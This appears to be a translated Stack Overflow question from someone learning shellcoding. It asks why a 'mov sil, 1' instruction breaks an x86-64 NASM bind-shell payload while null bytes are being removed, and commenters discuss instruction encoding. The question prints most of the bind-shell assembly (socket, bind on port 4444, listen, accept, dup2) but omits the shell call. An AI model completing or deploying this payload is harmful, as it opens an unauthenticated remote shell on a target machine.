【发布时间】:2018-02-22 20:09:46
【问题描述】:
从我的 shellcode 中删除空字节时,我似乎无法在 mov rsi 指令中获得空字节,以便在没有奇怪的解决方法的情况下干净地删除。
我有一个 bindshell shellcode,在执行 dup2 系统调用时,我必须将 rsi 设置为 0、1 和 2,这样我才能将 stdin、stdout 和 stderror 设置回“用户”。 删除空字节时,我通常会执行以下操作:
xor rsi, rsi
mov sil, 1
但这以某种方式破坏了我的 shellcode。 所以我所做的是:
xor rsi, rsi
mov sil, al
sub sil, al
add sil, 1
这有点多……
有人能告诉我为什么我只用一个 mov sil, 1 来破坏 shellcode 吗?
编辑: 完整的不工作代码:
global _start
_start:
xor rax, rax
mov al, 41
xor rdi, rdi
mov dil, 2
xor rsi, rsi
mov sil, 1
xor rdx, rdx
mov dl, 1
sub dl, 1
syscall
mov rdi, rax
xor rax, rax
push rax
mov dword [rsp-4], eax
mov word [rsp-6], 0x5c11
mov byte [rsp-8], 0x2
sub rsp, 8
mov al, 49
mov rsi, rsp
mov dl, 16
syscall
mov al, 50
mov sil, 2
syscall
mov al, 43
sub rsp, 16
mov rsi, rsp
mov byte [rsp-1], 16
sub rsp, 1
mov rdx, rsp
syscall
mov r9, rax
mov al, 3
syscall
mov rdi, r9
mov al, 33
xor rsi, rsi
mov sil, al
sub sil, al
syscall
mov al, 33
xor rsi, rsi
**mov sil, 1**
syscall
mov al, 33
xor rsi,rsi
**mov sil, 2**
syscall
HERE COMES ACTUALL SHELL CALLING
【问题讨论】:
-
xor esi,esi/inc esi是正常的(4 个字节,没有不必要的 REX 前缀)。但是mov sil, 1也应该可以工作。如果没有,那么您应该弄清楚它是如何破坏的,以及您的漏洞利用中存在哪些其他字节问题。例如非 ASCII 字节的高位被剥离了吗? -
使用汇编程序的列表文件来检查零字节来自哪里,或者是否确实有一些。
xor rsi,rsimov sil,1是48 31 F6 40 B6 01机器码(不为零)。 -
这是一个关于为什么 mov sil, 1 不起作用的问题,而不是关于空字节的问题,如果不够清楚,抱歉。 @PeterCordes:那么它不起作用的原因是什么?
-
那么这不是minimal reproducible example,因为这两个序列的架构效果是相同的(除了使用 add/sub 更新标志)。它不起作用的原因有无数可能,没有一个很可能,如果你不向我们展示更大的图景,也无法猜测。
-
好的,我将编辑并将我的所有代码放入其中不起作用。我只是认为这将是一个有点多的代码。而且我已经使用 GDB 逐步完成了它(我正在学习 shellcoding,所以我经常使用 GDB 进行 ti)。但我就是不明白为什么会溢出
标签: sockets assembly x86-64 nasm shellcode